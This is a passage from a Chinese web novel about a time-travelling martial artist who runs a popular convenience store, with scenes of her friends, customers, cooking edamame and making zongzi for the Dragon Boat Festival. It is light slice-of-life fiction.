明清欢同样感觉现在的日子挺好,听到她的话脸上带出来些笑容。 人多就是热闹,接下来几天店内三个人除了早上和中午会忙一些,到下午时就会闲下来,要么在店里打打游戏,要么趁着没顾客上门去附近逛逛街。 “时间过得真快,现在店里已经全部在卖夏装了。”李勤晴望着服装店里的衣服发出感叹。 周瑶瑶:“天气越来越热了,肯定该卖夏装了,我们去买几条裙子吧!” 没人不喜欢买新衣服,即便是明清欢也不例外,被周瑶瑶她们拉着直接进入女装店里。 店老板看到是明清欢她们,态度格外热情,她们还没开始挑衣服就主动 说给打八折。 “欢欢,我觉得这件裙子很适合你。” 李勤晴看到一条海蓝色长裙,裙摆上带着同色系刺绣,莫名觉得这件带着复古风味的裙子很适合明清欢。 “确实挺好看的,就是裙子有点长,还是半长袖,夏天穿会不会热?”周瑶瑶打量着裙子说。 店老板开口道:“可以上身试试,她个子高,穿长裙肯定好看。” 习武之人,不说寒暑不侵,至少明清欢是没有普通人那么怕冷怕热的,她感觉裙子确实不错,便没有拒绝,拿进试衣间换上。 “哇~” “好看!” 等到她换好裙子从试衣间出来时,周瑶瑶和李勤晴眼前一亮,店老板更是一个劲夸她穿这件裙子好看,显得人特别白。 不知逛了多久,等三人从服装店离开时,每个人手上都拎着个袋子,说说笑笑往便利店方向走。 “老板我觉得你以后可以多买点蓝色系衣服,感觉你穿蓝色特别好看……” 三人到达便利店门口时,忽然有道身影冲过来,上手就要去拽李勤晴的胳膊,但明清欢就在她旁边,怎么可能让对方得逞,直接一指点在对方的麻筋上,疼得对方瞬间缩回手。 来人握着胳膊倒吸一口气,随即生气道:“明清欢,这是我跟晴晴的事,你少掺和。” 听到对方认识自己,明清欢打量他两眼,立刻认出原来是李勤晴那个渣前男友。 “你怎么知道我在这?”李勤晴看到他好心情瞬间被破坏,脸上的笑容瞬间变成厌恶,“我们早就分手了,你有多远滚多远去!” 她想到对方过年回家时偷偷相亲,结果年后还跟没事人一样找自己就觉得恶心。 男人没有回答她前一个问题,而是道:“我没同意分手,晴晴你不能这样,我们那么多年的感情难道是假的吗?” “分手又不是结婚,用得着你同意吗?真是搞笑,还那么多年的感情,你偷偷去相亲时怎么想不起来那么多年的感情呢?我猜该不会是相亲对象看不上你,你才回来找她吧?”周瑶瑶最看不上这种渣男,直接帮忙怼人。 男人脸上露出怒意,眼见周围已经有不少人看过来,想要将李勤晴拉走换个地方谈,然而对上明清欢微冷的眼神,想到手臂上还没完全消失的疼意,到底还是没敢再伸手。 真是见鬼! 他对明清欢不算陌生,怎么都没想到毕业前看起来性格没什么突出点的人,毕业后看起来如此不好惹,一时有些进退维谷。 “你滚不滚,不滚别怪我不客气。”李勤晴现在看到他就烦,之前怕打不过他不敢动手,现在明清欢就在旁边,她或许是有底气了,说完直接一巴掌扇过去。 “你疯了!” 男人显然是没想到她会动手,脸上表情都有点扭曲。 早就想打他的李勤晴闻言,直接将手里装衣服的袋子砸到他身上,又连打了几下。 男人挨打时明清欢没动作,在他想还手时,直接又打了一下他麻筋,让他没有还手之力。 “你信不信我报警!”感觉丢脸的男人发出警告,心里甚至有点后悔找过来。 说起来,他能知道李勤晴在哪,主要还是侠客便利店最近太火,有人发出去的视频里拍到李勤晴了,正好让他刷视频时刷到。 “你去呗,谁怕你啊,问就是感情纠纷,人家警察才不管。”周瑶瑶心说套公式谁不会啊。 打又打不过,骂又骂不赢,最终渣男还是灰溜溜离开,估计以后都不敢再骚扰李勤晴。 而李勤晴将人打了一顿,心底憋着的那口气算是发出来,整个人瞬间神清气爽。 心情好了,李勤晴决定不能再继续摆烂,于是当天晚上就买好车票,准备后天上午坐车回w市。 知道她马上就要走,次日上午卖完早餐明清欢就开始准备送给她的卤牛肉。 李勤晴正在厨房里帮忙剪毛豆两边的角,闻到卤牛肉特有的卤料味,轻皱着鼻子说:“等我回去,孙悦月那个吃货肯定会打劫我!” “没事,我给她也准备了一点,到时候你带给她。”明清欢笑着说。 “那你也太破费了,牛肉可不便宜。” “还好,最近牛肉降价了。” 明清欢将牛肉放在锅里卤上后,开始做其他地方菜,由于李勤晴更喜欢吃脆皮香酥鸭,她今天中午就没做香酥鸡,而是昨晚提前腌制了鸭子。 今天除了脆皮香酥鸭外,她还准备做道新菜——凉拌毛豆。 带壳毛豆要想好吃就得先剪掉两边的角,这样能让毛豆更入味,吃起来也更方便。现在李勤晴和周瑶瑶就一个在厨房,一个在店内干这个活。 毛豆颜色翠绿,虽然上面带着不少毛毛,但想到做好以后的味道,两个人干活还是挺麻利。 “终于剪完了,毛豆好吃是好吃,就是剪起来太麻烦。”周瑶瑶拿着剪好的毛豆进入厨房,不由发出感叹。 “辛苦了。” 明清欢说完,接过她和李勤晴剪好的毛豆先清洗,再往锅里加水,水中稍微放点油和盐开始煮毛豆。 “毛豆你们喜欢脆嫩一点的口感,还是软烂点的?”煮的时候她顺便问周瑶瑶她们的口味。 二人异口同声道:“脆嫩的!” “好。”明清欢点头应下,心里自动减少煮毛豆的时间,好让它口感保持脆嫩。 第34章 第34章咸蛋黄肉粽 毛豆煮完从锅里捞出来,表面毛毛都被煮掉,整体看起来青翠欲滴。 明清欢将毛豆过遍凉水再捞出来沥干,放到旁边备着,随即开始调凉拌料汁。 蒜末、干辣椒、小米辣放入盆中,浅黄色与红色互相映衬,颜色很是漂亮,随着一勺热油浇上去,蒜与辣椒混合在一起的同时香味被激发出来,又辣又香的气息初闻有些呛人,等适应后只感觉特别香。 蒜香和辣椒香味被热油激出来后,明清欢又动作熟练地加入生抽、香醋、盐、花椒油、香油、蚝油等调料,并下了一丢丢白糖进去提鲜。 等到凉拌料汁被搅拌均匀,蒜香中带着辣味,辛辣气息中带着淡淡醋酸,以及还有香油、花椒油的香味组成一股诱人的复合香味,光是闻着就令人食欲大开。 料汁调好,明清欢将其倒入毛豆中,用筷子仔细搅拌,很快原本翠绿的毛豆就披上件由浅褐色汤汁形成的外衣,再有蒜蓉和小米辣点缀其中,卖相看起来很是诱人。 “看起来好好吃的样子,我帮你尝一下咸淡!”李勤晴说完就直接握着筷子夹起个毛豆送入口中。 明清欢看到她手那么快,失笑着提醒:“要腌一会才好吃,现在还没入味。” “已经挺好吃的了,汤汁咸咸香香的,毛豆吃进嘴里脆脆嫩嫩,我喜欢吃这个。”李勤晴吐出毛豆壳,觉得不论是口感还是味道都特别好。 “腌入味会更好吃。” 来现在几个月,明清欢如今已经完美适应现代的各种家电,说完就将凉拌毛豆放入冰箱里,让它能腌得更入味些。 凉拌毛豆做完,她立刻又开始做另外一道菜,捞出刚刚提前浸泡在水中的茄片,往上裹薄薄一层淀粉后开始下锅进行煎制,很快茄子香味就被煎出来。 “欢欢你累不?”看到她做完一道菜接一道,中间都没个休息时间,李勤晴边嗅着煎茄子的香味边问。 “不累。” 明清欢在大齐时是半路出家学武练刀,跟当初练武学刀的辛苦比起来,做菜对她来说简直跟玩一样。 发现她是真的不觉得做菜累,李勤晴心里很佩服,毕竟她和前男友同居时也做过饭,那会两个人没少为谁做饭的事吵架,后面还是干脆都不做直接吃外卖才解决这个问题。 随着厨房里香味越来越浓,便利店里人开始多起来,刚开始还是个别人坐在椅子上边玩手机边等,慢慢地随着有人进店直接去排队,原本坐着的人都站起来加入队伍中。 “哇,今天有毛豆!” “这毛豆看着就漂亮,我要来一份。” 进入五月中旬后天气开始越来越热,尤其是中午,外面太阳已经很挺晒人。这种天气看到凉拌毛豆,不少顾客还没吃就感觉挺开胃。 别说顾客们看到凉拌毛豆想吃, 周瑶瑶望着盆里卖相清爽,散发出毛豆特有香味的菜口水同样冒出来。 “瑶瑶你先去吃饭吧,我来打饭。”李勤晴刚刚在厨房已经提前吃过饭,此时直接招呼她去吃。 “老板,你做菜辛苦了,要不你先吃?” 听到周瑶瑶还要跟她客气,明清欢笑着摇头:“你先吃吧,我刚做完饭没什么胃口。” “好吧。” 见她不要先吃,周瑶瑶便不再讲客气,去厨房拿出自己专用的碗,直接先盛饭再打菜。 正在排队的顾客看到她想吃什么打什么,想打什么打什么,脸上都不由露出羡慕的表情。 “老板,如果你店里以后要招人的话,请务必通知我。”有顾客实在没忍住开口。 明清欢还没说什么,周瑶瑶就反射性抬头:“别想了,这么好的工作我才不会辞职。” “没让你辞职,万一老板哪天要扩大店面,那不就得招新员工了。” 周瑶瑶感觉自家老板明明年纪轻轻,却有种已经历尽千帆开始养老的那种佛系,她好像不是特别在乎钱,更没有扩大经营的野心。 只能说别看周瑶瑶平时嘻嘻哈哈,实际上看人还是有点准的,某方面来说,明清欢如果没有穿越,估计就是那种在江湖中经历风风雨雨,大仇得报,如今只想隐居山林的那类人。 不过周瑶瑶知道归知道,但别人做做美梦而已,她觉得没必要点破,便顺着顾客的话道:“好,那你慢慢等着吧。” 说完她已经打好饭,坐到柜台那边的椅子上开始吃起来。 由于毛豆是她和李勤晴辛辛苦苦一个个剪出来,她先朝翠绿的毛豆下手。 经过腌制的凉拌毛豆很是入味,不光豆壳上有汤汁,连壳里都被汤渗进去,对着被剪开口的地方轻轻一咬,毛豆米连着汤汁一起进嘴,汤汁咸鲜味辣,豆米软中带脆,咀嚼间让人感觉越吃越香。 等把毛豆壳吐出来,嘴里的余味让她迫不及待又夹起一个吃起来。 凉拌毛豆不吃还好,一吃简直令人上瘾,周瑶瑶吃的筷子根本停不下来,边吃边觉得如此美味的毛豆,不枉她早上剪得那么辛苦。 她吃得还比较安静,旁边不远处,已经拿到快餐的顾客却是边吃边夸起来:“这毛豆太好吃了,脆嫩又入味,老板调的这个凉拌汁可真香,越吃越过瘾。” 还有顾客没说话,不过却是吃两口毛豆后就直接起身去货架那边拿酒,显然是觉得这么美味的凉拌毛豆不拿来配酒可惜了。 周瑶瑶给顾客算酒钱时,抬头看到店外又道熟悉的身影正走过来,收好酒钱就直接去厨房拿了袋东西出来。 “南南,给你。” 吴佑南刚进门就对上周瑶瑶含笑的脸,边掏钱边开口:“谢谢姐姐。” 拿过店里特意给她留的馒头,发现里面还有碗翠绿的菜时,她没有直接离开,而是走到明清欢那边跟她打声招呼,说完再见才走。 “这孩子还怪有礼貌的。”李勤晴在店里待了段时间,对吴佑南有点印象,等她走后下意识夸起来。 “确实是个好孩子。”由于前面还有好多顾客在排队,明清欢没有多说关于吴佑南的事,但心里却是想起之前有好多她的同学来店里买东西,都说是被她推荐过来,说侠客便利店东西价格实惠。 被夸奖的吴佑南从便利店离开直接小跑回学校,刚进入教室立刻有同学迎上来。 “哇,有糖三角哎!” “有糖三角的话那我要糖三角!” 吴佑南之前是每天中午固定在便利店买二十个馒头,等到明清欢开始做糖三角后,偶尔中午会馒头和糖三角各占一半。 馒头和糖三角都特别好吃,二十个带到学校里,其他同学都抢着买,甚至连隔壁班都有学生跑过来问她能不能给自己带。 吴佑南知道老板愿意每天中午给自己留馒头,其实是在照顾她,她没有觉得这是理所当然的事情,更不可能再去开口让老板给她留更多。 目前这样能靠跑腿费挣点钱,已经让她很开心,她最多偶尔把自己吃的那份让出去,但让她再带更多完全不可能。 “糖三角好好吃啊,软软甜甜的,感觉比面包还好吃。” 几个学生抢着瓜分完馒头和糖三角后立刻吃起来,边吃边夸。 “我周六日在家跟我妈说我想吃侠客便利店的早餐,我妈不肯去买,说它家早餐特别抢手,得好早去才能买到。” “你妈说得说,上周六我早上八点不到去了侠客便利店,别说糖三角,就连馒头都卖光了。” “这么看还是吴佑南你厉害,每天都能买到,那店是你家亲戚开的吗?” “不是,可能因为我一直在那家买馒头,加上老板人好,才会特意给我留。”吴佑南咬着香喷喷的馒头,再吃一个咸鲜微辣,口感脆嫩的凉拌馒头,感觉越吃越开胃。 看到她吃凉拌毛豆,围在旁边的学生顿时顾不上再好奇为什么她每天都能买到馒头,而是纷纷被凉拌毛豆给吸引。 “这毛豆看起来好好吃啊。” 吴佑南并不小气,见同学们想吃,边和她们一起分享起来。人多吃东西就是香,到最后不光毛豆被吃得干干净净就连碗里的料汁都没浪费,被她们用馒头蘸着吃光。 “真好吃。” 当然,她同学没有光吃她的,也把自己抽屉里的零食饮料分享出来,大家一起吃得那叫一个香。 “侠客便利店的快餐更好吃,之前五一时我姐姐带我去它家吃饭,那天有红烧肉,可香了!就是排队要排好久。” “我在家里玩我妈的手机时刷到它家视频了,本来想让我爸妈带我去吃,结果他们嫌人多,不肯带我去。” 几人话落,之前和吴佑南一起去侠客便利店吃过午餐的女生立刻炫耀起来,表示她们才不用家长带,自己就去吃过,而且她们那会去得早,都没怎么排队就吃上饭,她家菜确实特别好吃,连米饭都格外香。 “羡慕你们……” “下周六你们谁要一起去不?” “我零花钱买盲盒用完了,得先攒点钱才能去。” “我们可以凑钱一起吃,这样应该不要好多钱吧?” 吴佑南听到同学们的讨论,向来喜欢给侠客便利店招揽生意的她立刻开口:“便利店的菜不贵,素菜五到八块一份,荤菜十到十五一份,汤是八到十二左右。” 如果不喝汤的话,一荤一素才十五块钱,对比学校食堂里随便一个带肉的盖浇饭都要十六七块,而且还不好吃,同学们都感觉确实不贵。 于是很快几个有兴趣的学生就约好,每人出五块钱,这周六去侠客便利店吃饭。 大家都邀请吴佑南一起去,吴佑南想着五块钱自己能拿得出来,想想便没有拒绝。 周六上午,李勤晴拒绝明清欢送她去火车站,直接自己打车离开。 她前脚离开没多久,后脚吴佑南带着同学来到便利店。 一行人来到店门口,有个学生忍不住开口:“好多人……” 自从五一假期过后,侠客便利店算是真火了,工作日时可能还好点,毕竟大家都要上班,没那么多人有空提前来排队。但周六就不同了,不少有假的本地人早早就来到店里。 “你来了,是来吃饭的吗?”周瑶瑶看到吴佑南主动打招呼。 “姐姐好。” 吴佑南话落,她同学全部都嘴甜地喊着“姐姐好”,“姐姐你真漂亮”之类的话。 周瑶瑶脸上不自觉露出笑容,拿出张小折叠桌道:“来,这里还能放张桌子,你们凑合着坐一下。” “谢谢姐姐。” “姐姐你真好。” “姐姐,今天有什么好吃的?” 几个初中生都很有礼貌,周瑶瑶 看到他们就想起自己这个年纪时是什么样子,脸上不由透出几分怀念。 “今天有糖醋带鱼、凉拌毛豆、酱香猪蹄、香酥鸡、豆腐酿肉和玉米排骨汤。” “哇,听起来都是我喜欢吃的菜,而且我已经闻见香味了。” 此时厨房里汤早就提前炖上,玉米排骨汤特有的香味飘出来,闻着就很馋人。 等周瑶瑶回到柜台那边时,几个学生凑在一起商量待会点什么菜。 他们一共来了八个人,五女三男,八个人一人出五块就有四十块,能买好几个菜。 “凉拌毛豆好吃,而且还便宜,这个肯定要点一份。” “汤要吗?” 随着店内香味越来越浓,原本坐着的人开始自动排起队来,吴佑南他们也赶紧加入队伍中。 大人们看到一帮学生来聚餐,脸上都不自觉透出笑意,等轮到他们去打饭时,即便发现老板给他们打得多一点也没人有意见,甚至有对夫妻俩还笑着给他们加了个菜。 “先让我拍一下” 小折叠桌是真不大,勉强够把菜都放在上面,饭就得端在手上,但即便如此围在桌子周围的学生们还是很开心,还有个学生抬起自己的电话手表对着菜拍起来。 “拍完没?我要开动了,这个猪蹄看起来好好吃的样子啊!” “猪蹄一人一块,正好哎!” 酱香猪蹄块头可不小,他们能分得那么正好,完全是明清欢按着他们人数给打的菜。 “好好吃啊,猪蹄肉吃起来好香!” “炸鸡也好好吃,比我们学校门口卖的还香,尤其是外面这层,好脆啊!” “什么炸鸡,这是香酥鸡。” 谁都有小的时候,店内一群大人们望着围在一起聚餐的初中生,不免回忆起自己读书的时候,脸上都不自觉笑起来。 这边学生们组队来侠客便利店聚餐时,另外一边李勤晴坐火车下午就到了w市。 她刚出火车站就看到孙悦月的身影,惊喜中又有点诧异:“你今天不上班吗?” “我请了半天假。”孙悦月说完积极地上前接她手中行李。 今天是周六按说本来就放假,可谁让孙悦月公司分大小周,她这周六不放假。 李勤晴刚想说其实不用特意请假来接自己,结果还没开口就看到她在袋子里寻找起来,心里刚生起那点感动瞬间变成白眼。 “我就说你怎么还特意来接我,合着是醉翁之意不在酒……” 她说完伸手想把东西抢回来,已经摸到卤牛肉的孙悦月才不肯给。 “孙悦月你别太过分,那是欢欢给我准备的。” “哪有,她明明说了也给我准备了!” 两个人吵吵闹闹,等回到孙悦月家里后就迫不及待开始分享卤牛肉。 做给自己人吃的东西,明清欢特意选用筋多肉嫩的牛腱子肉,经过卤制,牛肉已经完全入味,散发出浓郁香味。 “就是这个味!太好吃了,感觉欢欢做的卤牛肉,真是怎么吃都不会腻。” 卤牛肉吃进嘴里肉质酥而不烂,咀嚼间咸鲜与酱香微辣的滋味逐渐在舌尖上化开,越吃越香,越吃越令人上瘾。 孙悦月吃着香喷喷的卤牛肉,已经开始期待着端午节再去q市吃个过瘾,然而临近端午时,她却是接到家里电话,让她端午节必须回家。 得知端午去不成q市,她当天晚上就打电话对着明清欢呜呜呜假哭个不停,明清欢只能安慰她,表示等她下次有空过来时,她想吃什么自己就给她做什么。 今年端午在五月底,虽然周瑶瑶四月时才回过家,但接到家里人询问她回不回来的电话时,她还是犹豫起来。 “你这个月都没休假,正好趁着端午回去好好休息几天。”明清欢见她犹豫不决,直接开口。 周瑶瑶闻言直接张开双手抱住她:“老板你真好。” “本来就是你该休的假期。” 明清欢人确实好,原本她就在准备食材包粽子,现在立刻决定要多包点,让周瑶瑶带点回去吃。 q市这边口味很包容,甜粽子、咸粽子都有人吃,因此明清欢特意准备了几种口味。甜口粽子有蜜枣馅、红豆沙馅,咸口粽子有咸蛋黄肉馅,香菇火腿馅。 端午节前两天,侠客便利店厨房就弥漫着粽叶的清香,中午卖完快餐明清欢就坐在厨房里包粽子。 周瑶瑶觉得有趣,在店里没顾客上门时洗干净手跑过来凑热闹,然而在明清欢手中乖巧的粽叶在她手里却像是会打架一样,怎么摆弄都很别扭。 “你这样拿,再这样……”明清欢拿着粽叶教她,即便已经特意放慢速度,还是几十秒就包出来一个棱角分明的漂亮粽子。 周瑶瑶模仿着她的动作慢慢尝试起来,一个粽子还没包出来,却是望着旁边盆里的馅料馋起来:“好香啊,这个馅看起来就好好吃的样子,看得我都想直接塞嘴里去。” 二人旁边除了粽叶,还摆放着经过浸泡的糯米、红豆沙、蜜枣、咸蛋黄、腌制过的肉,以及香菇火腿。 肉馅明显偷不成嘴,最终周瑶瑶只能偷了个蜜枣塞进嘴里,甜滋滋的味道好吃得她笑出两个小虎牙。 蜜枣和红豆沙都是明清欢亲自做的,跟外面卖的比起来,味道更好不说,食材香味也更加浓郁,而且吃起来甜而不腻。 等到周瑶瑶终于包好一个粽子时,明清欢手边装粽子的桶里已经有十几个,而且大小模样几乎都没什么区别。 “还是老板你包的粽子漂亮。”周瑶瑶对比一下后说。 明清欢宽慰道:“反正吃进嘴里都一样。” “也是。”周瑶瑶点点头,继续跟着她一起包起来。 当天晚上,由于她嘴馋,明清欢直接煮了几个粽子当晚餐,当粽子香味从厨房飘出去时,街上路人瞬间就被勾起馋意,还有些原本差点忘记过两天就是端午的人立刻反应过来。 有住在周边的老顾客自认和明清欢关系不错,直接顺着香味走进店里,询问有没有粽子卖。 “今天没有,等端午节那天再来吧。” 明清欢今天开始包粽子,就是想着端午节时可以让顾客们尝尝粽子,不然她和周瑶瑶两个人吃,根本不用包那么多。 老顾客本来只是问问,得知真有粽子买,高兴得不行,立刻表示到时候自己要早点来买。 等顾客离开,周瑶瑶终于可以开吃,她望着煮过以后微微显得有点松散的粽子,忍不住道:“看来我技术还是不行,都散开了。” “还好,第一次包能包成这样已经挺不错了。”明清欢心想,好歹没有完全散开。 等到把粽叶扒开,周瑶瑶顿时就顾不上再说话,而是边吹边咬上去,她特意对准有馅的地方咬,一口下去,软糯的糯米中夹杂着肥瘦相间的卤肉以及咸蛋黄,咀嚼间又糯又香,好吃到她眼睛都闭上,脸上露出享受的表情。 蛋黄肉粽里的肉七分瘦三分肥,在煮的过程中肥肉里的油被煮出来,逐渐渗入糯米中,糯米吸收油脂被浸润得油亮有光泽,不光卖相好看,吃起来更是香得不行。每粒米都带着肉香和调料的浓郁,再配上蛋黄鲜香沙糯的口感,简直是人间美味。 “太好吃了!我感觉我能吃十个!” 明清欢听到她的话不由笑起来,觉得糯米做的粽子,她要是真吃十个晚上该不消化了。 第35章 第35章麻辣小龙虾 好在最终周瑶瑶也没真吃十个,倒不是她不想,而是肚子实在装不下。 “太好吃了,年年端午都吃粽子,我本来都觉得粽子没什么好吃的,今天吃完你做的粽子,我忽然有种回到小时候的感觉。” 晚饭结束后,周瑶瑶回味着粽子的味道发出带着点感叹的声音。 小时候她爱过节,更爱吃粽子,每年端午节还没到就早早盼着,然而随着年龄的增长,她却开始对粽子这类节日美食失去兴趣,感觉如果不是胃口节日应景,她一个都不想吃。 今天吃着咸鲜饱满的肉粽,清甜绵密的甜粽子,她忽然有种找回小时候那种过节的快乐感。 “你喜欢吃就好。”看到她喜欢吃,明清欢挺高兴,得知她已经买好明天的车票,提前把粽子给她装好,“明天回去时别忘记带上粽子。” “好,谢谢老板~” 周瑶瑶想到回家还能吃到美味的粽子,没有 跟她客气,而是声音上扬地道谢。 五一期间店里有四个人,那会白天晚上店内都热闹得不行,随着孙悦月和李勤晴先后离开,如今周瑶瑶也回家过节去,到端午节当天时店内只剩下明清欢自己。 要说不适应,可能多少有一点,不过对明清欢来说,穿越前她本就是独来独往,所以那点不适应很快就消失。 之前已经提前在顾客群以及店内通知过,老顾客们基本都知道今天早上有粽子卖,当然,在群内早上没空的顾客强烈要求下,明清欢答应将粽子分成两批,早上卖一半,中午卖一半。 今天一大早,她刚把粽子煮上没多久店门外就传来敲门声。 “老板我要买粽子!” 顾客们人还没进店,声音先传进来,尤其是在闻见粽子香味时,更是直接往店里挤。 “粽子还没煮好,你们要再等一会。”明清欢怕他们把大门给挤破,赶紧将门全部拉开。 “早上好~”八哥看到那么多人,瞬间就活跃起来,在笼子里跳跃着开口。 “早上好。” 有顾客还讲究地回它一句,更多的顾客却是直接抢着去排队。 明清欢看到他们如此积极,笑着摇摇头再次让他们稍等后,转身回厨房去。 随着时间流逝,粽叶的清香混着肉香、糯米香以及咸蛋黄的鲜香一起飘出来,那浓郁的香味在大清早的简直别提多勾人食欲。 “我闻到肉香了,看来老板包的是肉粽,太好了!我就喜欢吃肉粽。” “啊……肉粽有什么好吃的,我想吃甜粽子。” “甜粽子你回家吃不就行了,粽子就得咸的才好吃。” “说什么鬼话,粽子就该吃甜的,喜欢咸口你怎么不直接吃糯米鸡去。” 果然,甜咸之争在哪都存在,看到有两个顾客为口味吵起来,洛淮青忍不住微微摇头。 他没有参与进甜咸之争中,排在他后面的某位年轻人却是很有大无畏精神,直接道:“这有什么好争的,我觉得甜的咸的都好吃,最好是吃口甜再吃口咸,这样更美味,还不容易腻。” 这话一出,刚刚还争执的两位顾客立刻都冲他开炮,觉得甜粽子和咸粽子一起吃更是离谱。 店内爱吃咸粽子的顾客不少,喜欢吃甜粽子的也有好多,当然像洛淮青这样甜、咸都吃的同样不少。 随着厨房里开始飘出一股带着糯米香的甜味时,甜党们瞬间就高兴起来。 “这个味道才对嘛,粽子就是得吃甜的,这一闻就是蜜枣馅的,闻着香味就知道肯定好吃。” “蜜枣的粽子有什么好吃的,我最不爱吃这种无聊的味道。” “谁管你爱不爱吃,我爱吃就行了。” 厨房内,明清欢隐约听到点顾客们的争执,觉得也就是现代生活好,让大家都衣食无忧,才会连甜粽子还是咸粽子都能拿出来吵一吵。 很快粽子全部出锅,她端着粽子出来,热腾腾的粽子散发出浓郁而清香的气息。 明清欢看到自己煮粽子的功夫店内已经挤满人,不得不开口表示每人只能买两个。 “啊,两个根本不够吃,真的不能多买几个吗?”有顾客光闻香味就恨不得买它个十个八个。 还有顾客则是特别机智地直接发消息摇人,喊家人朋友过来一起来买。 得知有四种口味粽子后,只爱吃甜口或者只爱咸口的还好,但对于都能吃的顾客就挺纠结了,要从四个里面选两个。 “给我来个咸蛋黄肉粽和豆沙粽子吧。” “我要豆沙和蜜枣。” 顾客要什么明清欢就装什么,手速那叫一个快,前面七八个顾客都已经买到粽子,最先拿到粽子的顾客叶子才刚扒开。 粽子扒开后被叶子紧紧包裹的香味全部泄露出来,扑鼻而来的香味还没吃就已经令人陶醉,等到吃进嘴里时,咀嚼间糯米的软糯混合着肉香以及蛋黄的咸香,好吃到根本停不下来。 “太好吃了,又香又入味,里面的肉肥瘦恰到好处,蛋黄更是放得特别足……” 这位顾客正夸奖着咸蛋黄肉粽时,旁边有顾客拆开手中的豆沙粽,雪白的糯米中透出一抹隐约的暗红色,一口咬下去,绵密的豆沙全部被露出来,颜色很是漂亮。 豆沙粽的豆沙是明清欢亲自熬出来的,吃进嘴里清甜绵密,配上糯米一起包成粽子,整体口感软糯清甜,余味中不光有米香、红豆香,还带着粽叶的清香。 “老板,这个豆沙是买的还是你自己做的?好好吃啊,红豆味特别浓郁,吃起来口感细腻,而且不会太甜,我好喜欢啊!” “自己做的。” 顾客闻着,立刻提出想买点豆沙回去,在明清欢表示做的豆沙全部都拿来包粽子了,表情有些失望。 好在虽然没买到豆沙,但手里豆沙粽是真香,她低头继续吃着,心情都重新变好起来。 旁边有位顾客正在吃蜜枣粽,蜜枣像琥珀一样卧在糯米中,卖相看起来特别漂亮,咀嚼着甜而不腻的蜜枣,忍不住猜测:“老板,这蜜枣该不会也是你自己做的吧?” 得到肯定回答后顾客们都很是佩服,觉得怪不得她做的粽子那么好吃,食材全都是亲手做成,光是用心程度都不是外面卖的粽子能比的。 “老板,真不能多买几个吗?我想带点回去给家里人尝尝。” 品尝过粽子味道后顾客们感觉两个都不够自己吃的,更别说带回家。 “粽子只有那么多,如果不限量的话其他人就买不到了。”明清欢这两天其实包了不少粽子,可耐不住顾客人更多,如果不限购的话,那会有好多顾客白跑一趟。 当然,为了不让顾客们太失望,她想想还是告诉他们中午还有一批粽子卖。 顾客们闻言眼睛瞬间亮起来,有人甚至决定直接在店里等到中午。 他们愿意等明清欢也没办法,她卖完粽子就要去厨房里开始准备午餐。 店内基本都是老顾客,在她收拾东西去厨房时,不少人主动开口:“老板你放心去忙,店我帮你看着。” “好,那麻烦你们了。” 今天是端午节,明清欢特意多准备了几个荤菜,有黄豆烧鸡爪、脆皮香酥鸭、油焖大虾、酱香猪蹄、手撕包菜、豆腐酿肉、冬瓜排骨汤。 由于猪蹄和汤都要慢慢炖,她先把排骨焯水把汤炖上,再给处理干净的猪蹄炒上糖色,加配料做好后放到锅里大火烧开,小火收汁。 随着两股荤香从厨房里飘出去,原本在店内坐着玩手机的人都不自觉抬头深吸一口气。 端午节本来就是吃粽子的时候,早上吃过粽子的顾客不少人都或炫耀或分享地告诉朋友,或者直接发视频到网上。 明清欢做的粽子味道先不说,光是那个卖相就特别漂亮,发到网上别提多诱人。 【这粽子确实馋到我了,本来不想吃的,现在……我还是去买个粽子解解馋吧。】 【好漂亮的肉粽,看起来就很好吃的样子,尤其是那块肉和咸蛋黄,我好想咬一口啊!】 【竟然还有香菇火腿粽,看起来怪诱人的,不过咸粽子真的好吃吗?我家这边只吃甜粽子。】 【很好吃的,提前卤过的五花肉配上咸蛋黄,再加糯米包成粽子,吃起来咸鲜软糯,光是想想我口水都要下来。】 【又是侠客便利店,我手机简直中了它家的毒,之前五一天天刷到它家视频,现在端午又来。】 【那肯定是你每次刷到都看完了,大数据觉得你感兴趣,肯定会一直给你推。】 【五一时去它家吃过饭,不管是什么菜味道都特别好吃,它家粽子肯定也好吃,有没有本地人帮我买点寄过来?】 【别想了,本地人表示自己都不够吃,老 板限购每人两个。】 由于知道有粽子买,临近中午时,便利店里里外外都是人,排队的人已经排到店门口。 明清欢做完菜出来看到这壮观的队伍,大概估算了一下店内剩的粽子,发现想让现在排队的人都吃上,可能得限制每个人只能买一个。 “啊……” 顾客们闻言很是失望,不过好在今天快餐菜色很丰盛,最终大家还是没再抱怨什么,排队买饭买粽子。 “老板端午安康。” “老板你包的粽子太好吃了,下次多包点呗。” 明清欢边快速打饭边回应顾客的话,即便店里只有她一个人,效率依旧很高。 “你想吃什么粽子?” 由于孙女喜欢吃侠客便利店的饭,王老太今天也带着她过来。 琪琪知道奶奶问自己肯定是准备把她那个粽子给自己吃,直接道:“奶奶你挑自己喜欢吃的就行,不用管我。” 刚回国吃到侠客便利店的快餐,她惊为天人,还以为国内餐饮已经发展到随便一家小店都有这种水平。不过随着多去吃几家店,她才发现是自己误会了,其他中餐馆比国外确实要好吃点,但却比不上侠客便利店的快餐合她口味。 从那时起,她就爱上每天来侠客便利店吃午饭,甚至开始考虑起要不要留在国内算了。 得知她为口吃的竟然不想再出国,她父母先是有些不理解,随着她每天分享美食视频过去,她父母有被馋到,想着奶奶年纪也大了,她愿意在国内陪陪老人也不错,便没再催她回来。 而对王老太来说,本来让她天天花钱出来吃饭她是舍不得的,但得知孙女有要留在国内陪她的打算,老太太瞬间就觉得没什么好不舍得。 “我的天,原来粽子这么好吃!” 琪琪买完饭后先被粽子给吸引,扒开皮咬上去后,不管是粽子馅的调味还是糯米混合肉香和咸蛋黄的鲜味,都好吃到她发出感叹。 王老太见孙女爱吃粽子,边将自己手里那个放到她面前边道:“前几年端午我说包点粽子给你们寄过去,你爸还非不肯答应……” 老太太显然是怪儿子不答应,导致让孙女在国外连个粽子都吃不上。 “也不怪爸爸,主要是距离太远了,寄过去肯定会坏。”琪琪替自家爸爸解释完,又把桌上那个粽子还回去,“奶奶你尝尝,这个粽子真的特别好吃。” “奶奶年纪大了,糯米吃多了不好消化,你吃。” 王老太知道孙女孝顺,说完怕她不愿意,将粽子剥开叶子后用筷子一分为二,表示自己吃一点尝尝就行。 老太太早些年端午节时都会自己包粽子,不过最近几年她感觉一个人过节挺没意思,就没再包过。 此时吃着香喷喷的咸蛋黄肉粽,王老太不得不承认,确实比自己包的好吃。 今天便利店人是真多,以至于明清欢将原本留给自己吃的粽子都卖得只剩最后一个,等到顾客们吃完饭离开时,店内还残留着粽叶特有的清香。 